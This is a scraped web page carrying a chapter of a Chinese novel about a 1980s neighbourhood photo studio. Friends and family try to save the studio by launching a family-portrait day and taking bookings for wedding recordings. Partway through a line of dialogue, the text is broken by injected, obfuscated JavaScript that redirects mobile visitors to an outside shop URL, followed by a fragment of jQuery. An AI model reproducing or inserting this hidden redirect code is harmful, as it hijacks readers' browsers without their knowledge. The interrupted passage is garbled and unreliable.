文趣网 > 都市小说 > 八零旧巷有回声 > 21. 先别关门
    第二天清早,韩师傅拉开红叶照相馆的卷帘门,差点踩到门口的人。

    梁潮生坐在台阶上,膝盖上摊着一本旧练习册,脚边放着两只空汽水瓶,头发被晨风吹得乱七八糟。

    韩师傅低头看了他半天。

    “你昨晚没回家?”

    “回了。”

    “那你一大早蹲我门口干什么?”

    梁潮生把练习册举起来:“等您开门。”

    “太阳打西边出来了。”韩师傅掏钥匙,“以前叫你来帮忙,三催四请都不见人。现在我要关店,你倒守上门了。”

    梁潮生站起来,拍拍裤子上的灰。

    “您先别急着关。”

    韩师傅开锁的手停了一下。

    “怎么,你给我养老?”

    “也不是完全不可以。”

    “滚。”

    卷帘门哗啦一声升上去。

    梁潮生跟着钻进店里,先开窗,又去看暗房里的药水和相纸。昨天那张梁家全家福已经干透了,被韩师傅压在玻璃板下,四个人挤在一张相纸里,谁都没坐好。

    他只看了一眼,就把视线挪开。

    “韩叔,这店每个月要花多少钱?”

    韩师傅正在扫地,闻言抬头。

    “你问这个干什么?”

    “算算。”

    “你会算账?”

    “加减乘除还是会的。”

    韩师傅瞥见他练习册上的字,差点笑出声。

    纸上列着几行:

    相纸,药水,电费,房钱。

    下面还有一句:

    韩叔喝茶的钱能不能省。

    韩师傅用扫帚柄敲他脚踝。

    “这项不能省。”

    梁潮生往旁边一躲:“那您说个数。”

    “说了你也留不起。”韩师傅低头继续扫地,“照相馆不是摆个相机就能开。房子是租的,营业要手续,相纸药水都要进货。相机坏了得修,暗房漏光得补。你现在帮人录几盘磁带、挣几张毛票,离接店远着呢。”

    梁潮生不吭声。

    韩师傅扫到他脚边,故意说:“让让,别妨碍我做最后几个月生意。”

    梁潮生没让。

    “那您为什么一定要关?”

    “我儿子叫我走。”

    “您不想走?”

    韩师傅的扫帚停下来。

    橱窗外有人骑车经过,车铃声清脆,隔着玻璃绕了一圈。

    “想不想有什么用。”韩师傅说,“人老了,儿女总觉得你一个人在外头不安全。再说南边新鲜东西多,我去看看也好。”

    “那店呢?”

    “盘出去。没人接,就把机器卖了。”

    梁潮生抬头:“机器别卖。”

    韩师傅看着他。

    “你说不卖就不卖?”

    “给我几个月。”

    “几个月干什么?”

    “证明这店关了可惜。”

    韩师傅笑了。

    不是嘲笑,倒有些无奈。

    “你拿什么证明?”

    “拿钱。”

    一句话说完,门口有人轻轻敲了两下玻璃。

    周念安站在外面,怀里抱着蓝封皮的回声点歌本,另一只手还拿着两张写满字的纸。

    她进门先看了眼梁潮生脚边的汽水瓶。

    “你喝了两瓶?”

    “捡的。”

    “撒谎。”

    “一瓶是捡的。”

    韩师傅在旁边乐:“快管管他。一大早来查我的账,还想把我茶钱划掉。”

    周念安把纸放到柜台上。

    “茶钱不能划。”

    梁潮生立刻说:“看吧,她偏心。”

    “但可以单列。”周念安说,“私人开支不能算进照相馆成本。”

    韩师傅一愣。

    梁潮生也愣了一下,随即笑起来。

    “周厂长,你早有准备?”

    “昨天回去算了一遍。”

    她把那两张纸铺开。

    一张写着红叶照相馆现有业务:证件照、结婚照、全家福、照片翻拍。

    另一张写着这几天新出现的需求:录生日祝福、小摊吆喝、上门合影、报名照加急。

    韩师傅放下扫帚,走过来看。

    周念安说:“点歌录音挣不了太多,主要能把人带来。照片才是照相馆的正经收入。昨天那位女工问能不能拍平时一样的全家福,说明旧巷里不只她一个人想拍。”

    梁潮生接上:“很多人不是不想拍,是凑不齐时间。有人上夜班,有人不方便走,有的老人腿脚不好。”

    “所以可以上门。”周念安说。

    韩师傅皱眉:“相机拿出去容易磕碰。”

    “提前预约,一次只跑附近。”梁潮生说,“我拎器材,您拍。远的不接,乱的地方不去,先从厂区家属院试。”

    韩师傅抱着胳膊:“你们两个昨晚没睡,专门商量怎么给我加活?”

    “不是加活。”梁潮生说,“是留店。”

    韩师傅看了他一会儿。

    “你明年不用高考?”

    “我考不考,不耽误搬相机。”

    周念安立刻看向他:“耽误。”

    梁潮生:“……”

    “白天上课,放学以后帮忙。周末可以多接一点。”她说,“不能因为想留照相馆就不念书。”

    韩师傅点头:“听见没有?还是念安明白。”

    梁潮生靠着柜台:“你们俩什么时候站一边了?”

    周念安没理他,继续说:“先试一个月。记清楚每天来多少客人,哪些业务有人问,材料花了多少,实际剩多少。一个月以后再决定值不值得留。”

    韩师傅看向账纸。

    “留得下又怎么样?你们还是学生,谁来接手续?”

    这回两个人都没立刻回答。

    这是最实在的问题。

    梁潮生修得了机器,周念安算得清账,可一家照相馆不能靠两个高中生放学后偷偷开。房租、进货、执照,都得有成年人担着。

    韩师傅重新拿起扫帚。

    “想法不错,先放回书包里吧。”

    “我可以来。”

    门口突然传来一道女声。

    几个人回头。

    周念秋拎着一只布包站在门外,头发烫了个时兴的弯,身上穿着自己改过腰身的衬衣。她身后还跟着周念梅,工装袖子卷到手肘,手里拿着两只刚买的烧饼。

    周念安愣了:“大姐,二姐,你们怎么来了?”

    周念秋扬了扬下巴:“妈说你昨晚回家以后趴桌上算到半夜,怕你又给自己找了件拯救全厂的大事,让我们来看看。”

    周念梅把烧饼递给她:“先吃。”

    梁潮生在旁边低声说:“你们周家传递消息的速度,比广播站快。”

    周念梅看他一眼:“你有意见?”

    “没有。”

    周念秋进店绕了一圈,目光先落在蓝布帘,再落到橱窗里那张合影。

    “照相馆要是做全家福,光会按快门不够。”她说,“衣服得顺眼,头发也要收拾。旧巷里多少人不是长得不好,是不会打扮。”

    韩师傅问:“你会?”

    周念秋打开布包。

    里面有木梳、发卡、几条干净丝巾,还有两件样式简单却颜色鲜亮的衬衣。

    “我在百货商店柜台天天给人搭衣服。”她说,“拍照前帮着理理头发、换条丝巾,总比坐那儿像开会强。”

    周念梅在旁边说:“我周末休息能来维持秩序。谁插队,谁加塞,谁拍完不交钱,我管。”

    梁潮生小声道:“听着更像派出所了。”

    周念梅转头:“你说什么?”

    “我说特别有保障。”

    周念安看着两个姐姐,一时没说话。

    周念梅把烧饼塞到她手里。

    “别感动。妈说了,店要是真留不住就算了,不许你们往里砸家里的钱。”

    周念秋也说:“我帮忙可以,长期白干不行。以后挣了钱,按次给我算。”

    梁潮生笑了:“二姐很专业。”

    “别乱叫。”周念秋瞥他,“先把店留住再套近乎。”

    韩师傅看看这个,又看看那个,终于把扫帚靠到墙边。

    “你们周家这是准备接管我的照相馆?”

    “暂时没有。”周念安把烧饼放到柜台上,“先试一个月。”

    梁潮生从练习册上撕下一张纸,往桌上一拍。

    “那就从这周日开始。”

    韩师傅:“开始什么?”

    “全家福日。”

    他拿起笔,刷刷写了几行:

    红叶照相馆周日拍全家福。

    家里人凑不齐的,可以提前约时间。

    老人不方便出门的,可上门拍。

    衣服不必新,人到齐就行。

    写到最后一句,梁潮生停了停。

    周念安看见了,没有改。

    韩师傅拿过那张纸,嫌弃地看了半天。

    “字太丑。”

    “内容好就行。”

    “挂出去丢我的脸。”

    周念安接过纸,重新誊了一遍。

    她的字端正清楚,最后一行特意写得稍大:

    衣服不必新,人到齐就行。

    周念秋看完,点头:“这个好。”

    周念梅却问:“谁去通知?”

    梁潮生看向窗外。

    北门陶记包子摊的录音又响起来,声音隔着半条街都听得见。

    几个人同时有了主意。

    半个小时后,陶母站在话筒前,气势十足地录下了红叶照相馆第一段正式揽客录音。

    “红叶照相馆周日拍全家福!一家老小都能拍,衣服不必新,人到齐就行!腿脚不方便的提前说,上门也能拍!”

    录完,她问:“够响吗?”

    梁潮生揉着耳朵:“够,锅炉房都能听见。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728735|208021||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    陶母满意地点头。

    “那我包子摊循环放。你们给我三张照片当费用。”

    周念安问:“什么照片?”

    “我和小满的合影。”陶母说,“她要是真去面试,我给她带一张。”

    陶小满正在旁边练稿,闻言眼睛一下红了。

    孟小舟抬手敲了敲桌子:“别哭。哭完声音发虚。”

    陶小满赶紧吸了吸鼻子。

    店里很快忙起来。

    周念秋给橱窗换了摆法,把那张随意的合影挂到正中间;周念梅拿旧纸板写预约顺序;周念安负责登记姓名、人数和时间;梁潮生修好那只闲置许久的闪光灯,又给上门用的相机箱加了一条背带。

    韩师傅站在柜台后,看着几个人进进出出。

    “我这店什么时候多了这么多伙计?”

    梁潮生蹲在地上拧螺丝,头也没抬。

    “暂时不拿工资,您偷着乐吧。”

    “谁说不拿?”周念秋在旁边说,“我已经记账了。”

    韩师傅的脸立刻垮下来。

    周日下午,全家福日开张。

    第一个来的是厂里那位年轻女工。

    她把父母、弟弟和奶奶全带来了。奶奶腿脚不便,坐在一把旧藤椅上,坚持要把家里的花猫抱在怀里。花猫不肯配合,拍到一半猛地窜出去,年轻女工的弟弟扑过去抓,父亲在后面骂,母亲笑得直不起腰。

    韩师傅没有喊停。

    咔嚓。

    照片拍下来的,正是全家乱成一团的时候。

    第二家是两位夜班工人,专门换班来拍。第三家只有母子两人,女人说丈夫常年在外地跑车,想先拍一张,等人回来再补。

    到了傍晚,预约本已经写了两页。

    钱不算很多。

    可铁盒里第一次装进了一把像样的纸币和毛票,不再只有零零散散的五毛钱。

    周念安坐在柜台后,一张张清点。

    相纸成本、药水、陶母的合影、周念秋帮忙次数,都记得清清楚楚。

    梁潮生从暗房出来,额头上沾了点药水。

    “赚了多少?”

    “还没算完。”

    “够韩叔喝茶吗?”

    “够。”

    韩师傅立刻笑了。

    周念安又说:“但不够关店以后买机器。”

    韩师傅笑容没了。

    梁潮生拉了把椅子,在她旁边坐下。

    “第一天。”

    “嗯。”

    “慢慢来。”

    周念安看向他。

    他今天忙了一整天,衬衫袖口卷着,手背上有一道搬器材时蹭出的红痕。平时总像没个正形的人,这会儿看着那本账,眼神难得认真。

    “你真想接这个店?”她问。

    梁潮生没有立刻回答。

    外面天色已经暗下来。橱窗里亮着灯,玻璃上映着旧巷来来往往的人,也映着他们两个并排坐在柜台后的影子。

    “我不知道能不能接。”他说,“但我不想它说关就关。”

    “为什么?”

    “有些东西关了,就真没了。”

    他朝暗房抬了抬下巴。

    那里晾着梁家的全家福,陶小满的报名照,还有今天拍下的一家又一家。

    梁潮生低头笑了一下。

    “我以前觉得照相就是把人拍好看。现在发现,不全是。”

    周念安问:“那是什么?”

    “把人留下。”

    他说得很轻。

    周念安低头,在账本最后写下一行:

    全家福日,第一天。

    想了想,又在后面补了四个字:

    可以继续。

    梁潮生凑过来看。

    “这算批准了?”

    “试用期。”

    “多久?”

    “一个月。”

    “一个月以后呢?”

    周念安合上账本:“看表现。”

    梁潮生笑了:“周厂长,我会争取转正。”

    两人正说着,门口的铃铛响了。

    一个穿崭新工装的年轻男人领着姑娘进来,两个人都红着脸,手里还捏着一张印着喜字的红纸。

    男人问:“韩师傅,我们下个月结婚,想拍几张照片。”

    韩师傅笑着迎出来:“能拍,哪天?”

    姑娘却看向柜台上的录音机。

    “除了照片,能不能把婚礼上的话也录下来?”

    梁潮生和周念安同时抬头。

    姑娘不好意思地说:“我爸不会写信。我想把他送我出门时说的话留着,以后还能听。”

    照相馆里安静了一瞬。

    梁潮生缓缓坐直。

    周念安已经重新翻开账本,在空白页上写下:

    婚礼录音。

    红叶照相馆门外,暮色落进旧巷。

    而这家原本准备关门的小店,第一次接到了一桩属于未来的生意。